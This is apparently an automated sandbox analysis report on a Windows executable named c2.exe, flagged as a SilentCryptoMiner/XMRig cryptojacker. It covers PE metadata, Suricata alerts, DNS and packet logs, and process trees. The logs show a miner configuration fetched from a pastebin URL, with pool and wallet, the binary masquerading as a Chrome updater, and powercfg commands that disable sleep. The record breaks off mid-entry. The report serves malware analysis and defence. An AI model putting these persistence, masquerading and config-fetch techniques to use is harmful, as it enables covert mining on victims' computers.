SHA-512:	10D90EDF31C0955BCEC52219D854952FD38768BD97E8E50D32A1237BCCAF1A5EB9F824DA0F81A7812E0CE62C0464168DD0201D1C0EB61B9FE253FE7C89DE05FE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <Triggers>.. <BootTrigger>.. . <Enabled>true</Enabled>.. </BootTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">... <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <Duration>PT10M</Duration>.. <WaitTimeout>PT1H</WaitTimeout>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabl

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.67011402410826
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	c2.exe
File size:	5'737'472 bytes
MD5:	eb0588e6420a0a2fb8b262554091add3
SHA1:	5c2bdd9050a44b7afd028e9be44142da93232a37
SHA256:	6cb04057a0313bc34459aba72170f4039148aaace0b396b6c881b92769199853
SHA512:	8278fa6a29258f4095200540d003f33ede8ac7d8267fcaa14872fdad674205057fe728754f53ac43fe2f4dcd36fbe223f6d52c9d71ae4f7ca98c2921aec710af
SSDEEP:	98304:Tr+uGthg9APk/gpZ49dTpFj8MxJckGsab4PkNU/ZsGpSGvJXkt:TihtO9A8sybTFjGGPjsMSGvJUt
TLSH:	1946C0D4BFDEFB45CE708630CD0BAC06B7DA64259E8D436632A5D60D42376B3D92A8C1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.F....W................@............................. X.......X...`... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x1400012fd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x4000329c, 0x1, 0x40003280, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	84364258335aa120aa66630a9ee645bf

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00576E68h]
mov dword ptr [eax], 00000001h
call 00007F41392A5D73h
nop
nop
dec eax
add esp, 28h
ret
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00576E4Bh]
xor edx, edx
mov dword ptr [eax], edx
call 00007F41392A5D58h
nop
nop
dec eax
add esp, 28h
ret
dec eax
sub esp, 28h
call 00007F41392A8AF7h
dec eax
cmp eax, 01h
sbb eax, eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000005h]
jmp 00007F41392A5F2Eh
ret
nop
nop
nop
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
inc ecx
push edi
inc ecx
push esi
inc ecx
push ebp
inc ecx
push esp
push ebp
push edi
push esi
push ebx
dec eax
sub esp, 48h
dec esp
mov esp, dword ptr [esp+000000B0h]
dec esp
mov ebp, dword ptr [esp+000000B8h]
dec esp
mov edi, dword ptr [esp+000000C0h]
dec esp
mov esi, dword ptr [esp+000000C8h]
dec eax
mov edi, ecx
dec eax
mov ecx, edx
dec esp
mov ebx, eax
dec esp
mov esi, ecx
call 00007F41392A66E3h
test al, al
jne 00007F41392A5FA2h
mov edx, esi
dec eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x57d000	0x5c4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x580000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x579000	0x570	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581000	0x84	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x577de0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x57d190	0x150	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4578	0x4600	086ffce09aff7cb44263d553168e79b3	False	0.5748883928571429	data	6.2554154553510095	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x6000	0x570d40	0x570e00	8a244fbb8bb1fbd62a7de109eec86f2c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x577000	0x1680	0x1800	9fd4b1493639d12320f01a4d0ceae058	False	0.4041341145833333	data	4.3282044619111035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x579000	0x570	0x600	0bd7b3130bda8394c01cd314503e9808	False	0.4134114583333333	data	4.180517159286159	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x57a000	0x40c	0x600	6e2711e41b7236fa17485c99552f04a1	False	0.251953125	data	3.0246054589923945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x57b000	0x12a0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57d000	0x5c4	0x600	e64225ab0f6687883e87af34cba5ade2	False	0.361328125	data	4.041229808304254	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x57e000	0x60	0x200	e945d9040c7a97702c9db9ea618741bb	False	0.06640625	data	0.27950974526108024	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x57f000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x580000	0x388	0x400	e5e982a2259c1b0a2a215d8781c7f919	False	0.4482421875	data	5.013099963507475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x581000	0x84	0x200	58d17e13e89481fbae05163e12d57bcd	False	0.25390625	data	1.5215036536150712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x580058	0x330	XML 1.0 document, ASCII text	English	United States	0.508578431372549

Imports

DLL	Import
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, abort, calloc, exit, fprintf, fputs, free, malloc, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr, _wcsnicmp, _wcsicmp

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T12:46:06.900142+0100	2054247	ET MALWARE SilentCryptoMiner Agent Config Inbound	1	104.20.4.235	443	192.168.2.4	49731	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 12:46:03.995979071 CET	49730	10343	192.168.2.4	103.3.62.64
Dec 17, 2024 12:46:04.116028070 CET	10343	49730	103.3.62.64	192.168.2.4
Dec 17, 2024 12:46:04.116118908 CET	49730	10343	192.168.2.4	103.3.62.64
Dec 17, 2024 12:46:04.116940022 CET	49730	10343	192.168.2.4	103.3.62.64
Dec 17, 2024 12:46:04.236757040 CET	10343	49730	103.3.62.64	192.168.2.4
Dec 17, 2024 12:46:05.086333990 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:05.086390972 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:05.086833000 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:05.103291035 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:05.103329897 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:05.745414019 CET	10343	49730	103.3.62.64	192.168.2.4
Dec 17, 2024 12:46:05.745536089 CET	10343	49730	103.3.62.64	192.168.2.4
Dec 17, 2024 12:46:05.745587111 CET	49730	10343	192.168.2.4	103.3.62.64
Dec 17, 2024 12:46:06.326366901 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.328221083 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:06.328238010 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.329690933 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.329766035 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:06.331717968 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:06.331798077 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.331885099 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:06.331890106 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.375968933 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:06.899947882 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.900038958 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.900207043 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:06.907540083 CET	49731	443	192.168.2.4	104.20.4.235
Dec 17, 2024 12:46:06.907560110 CET	443	49731	104.20.4.235	192.168.2.4
Dec 17, 2024 12:46:06.913398027 CET	49730	10343	192.168.2.4	103.3.62.64
Dec 17, 2024 12:46:06.913398981 CET	49730	10343	192.168.2.4	103.3.62.64
Dec 17, 2024 12:46:06.913832903 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:07.034197092 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:07.034401894 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:07.035027027 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:07.154788017 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:08.607425928 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:08.607520103 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:08.607614040 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:08.608488083 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:08.728266954 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:09.169125080 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:09.219769001 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:09.404848099 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:09.454164028 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:09.596832991 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:09.641577005 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:15.963438034 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:16.016617060 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:26.055392981 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:26.204174042 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:35.062146902 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:35.110522032 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:45.029025078 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:45.110986948 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:46:55.030191898 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:46:55.219835997 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:47:00.019067049 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:47:00.065308094 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:47:10.022248030 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:47:10.126123905 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:47:20.037029028 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:47:20.126162052 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:47:30.093190908 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:47:30.219966888 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:47:40.047580957 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:47:40.126192093 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:47:50.059048891 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:47:50.220005989 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:48:00.067523003 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:48:00.219976902 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:48:10.059845924 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:48:10.110650063 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:48:20.070759058 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:48:20.126296997 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:48:30.077368021 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:48:30.126296997 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:48:42.082745075 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:48:42.126318932 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:48:52.074160099 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:48:52.126363993 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:49:02.104476929 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:49:02.262633085 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:49:12.072252035 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:49:12.126388073 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:49:22.051728010 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:49:22.180736065 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:49:29.001411915 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:49:29.126434088 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:49:39.026396036 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:49:39.126473904 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:49:48.999936104 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:49:49.126492977 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:49:59.033806086 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:49:59.126604080 CET	49732	10343	192.168.2.4	51.79.145.144
Dec 17, 2024 12:50:09.037151098 CET	10343	49732	51.79.145.144	192.168.2.4
Dec 17, 2024 12:50:09.083920002 CET	49732	10343	192.168.2.4	51.79.145.144

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 12:46:03.845988989 CET	64161	53	192.168.2.4	1.1.1.1
Dec 17, 2024 12:46:03.991067886 CET	53	64161	1.1.1.1	192.168.2.4
Dec 17, 2024 12:46:04.946609974 CET	60214	53	192.168.2.4	1.1.1.1
Dec 17, 2024 12:46:05.084379911 CET	53	60214	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 12:46:03.845988989 CET	192.168.2.4	1.1.1.1	0xacfe	Standard query (0)	xmr-asia1.nanopool.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:46:04.946609974 CET	192.168.2.4	1.1.1.1	0xf0a0	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 12:46:03.991067886 CET	1.1.1.1	192.168.2.4	0xacfe	No error (0)	xmr-asia1.nanopool.org	51.79.145.144	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:46:03.991067886 CET	1.1.1.1	192.168.2.4	0xacfe	No error (0)	xmr-asia1.nanopool.org	103.3.62.64	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:46:03.991067886 CET	1.1.1.1	192.168.2.4	0xacfe	No error (0)	xmr-asia1.nanopool.org	172.104.165.191	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:46:03.991067886 CET	1.1.1.1	192.168.2.4	0xacfe	No error (0)	xmr-asia1.nanopool.org	51.79.145.202	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:46:05.084379911 CET	1.1.1.1	192.168.2.4	0xf0a0	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:46:05.084379911 CET	1.1.1.1	192.168.2.4	0xf0a0	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:46:05.084379911 CET	1.1.1.1	192.168.2.4	0xf0a0	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.20.4.235	443	7868	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:46:06 UTC	114	OUT	GET /raw/YLG9StR0 HTTP/1.1 Accept: / Connection: close Host: pastebin.com User-Agent: cpp-httplib/0.12.6
2024-12-17 11:46:06 UTC	388	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 11:46:06 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Tue, 17 Dec 2024 11:46:06 GMT Server: cloudflare CF-RAY: 8f36abb73fef4265-EWR
2024-12-17 11:46:06 UTC	486	IN	Data Raw: 31 64 66 0d 0a 7b 0d 0a 20 20 20 20 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 20 20 20 20 22 70 6f 6f 6c 22 3a 20 22 78 6d 72 2d 61 73 69 61 31 2e 6e 61 6e 6f 70 6f 6f 6c 2e 6f 72 67 22 2c 0d 0a 20 20 20 20 22 70 6f 72 74 22 3a 20 31 30 33 34 33 2c 0d 0a 20 20 20 20 22 77 61 6c 6c 65 74 22 3a 20 22 34 38 4c 58 52 46 70 47 36 61 53 56 39 31 6d 71 77 4b 44 38 6d 66 67 37 73 4e 59 47 71 36 52 4b 44 48 71 4d 6f 31 72 79 61 4d 6a 43 68 70 4b 41 69 7a 57 46 73 46 61 59 67 51 58 5a 45 46 4d 36 74 61 34 6f 4d 54 4a 61 62 35 62 41 77 35 47 66 6b 38 34 41 72 6f 4a 36 46 4e 44 33 58 44 52 22 2c 0d 0a 20 20 20 20 22 70 61 73 73 77 6f 72 64 22 3a 20 22 22 2c 0d 0a 20 20 20 20 22 6e 69 63 65 68 61 73 68 22 3a 20 66 61 6c 73 65 2c 0d 0a 20 20 20 20 22 73 73 6c Data Ascii: 1df{ "algo": "rx/0", "pool": "xmr-asia1.nanopool.org", "port": 10343, "wallet": "48LXRFpG6aSV91mqwKD8mfg7sNYGq6RKDHqMo1ryaMjChpKAizWFsFaYgQXZEFM6ta4oMTJab5bAw5Gfk84AroJ6FND3XDR", "password": "", "nicehash": false, "ssl
2024-12-17 11:46:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:46:01
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\c2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\c2.exe"
Imagebase:	0x7ff632ae0000
File size:	5'737'472 bytes
MD5 hash:	EB0588E6420A0A2FB8B262554091ADD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:46:01
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff653450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:46:01
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:46:01
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:46:01
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\updater.exe"
Imagebase:	0x7ff602810000
File size:	5'737'472 bytes
MD5 hash:	EB0588E6420A0A2FB8B262554091ADD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff653450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7704, Parent PID: 7696

General

Target ID:	15
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
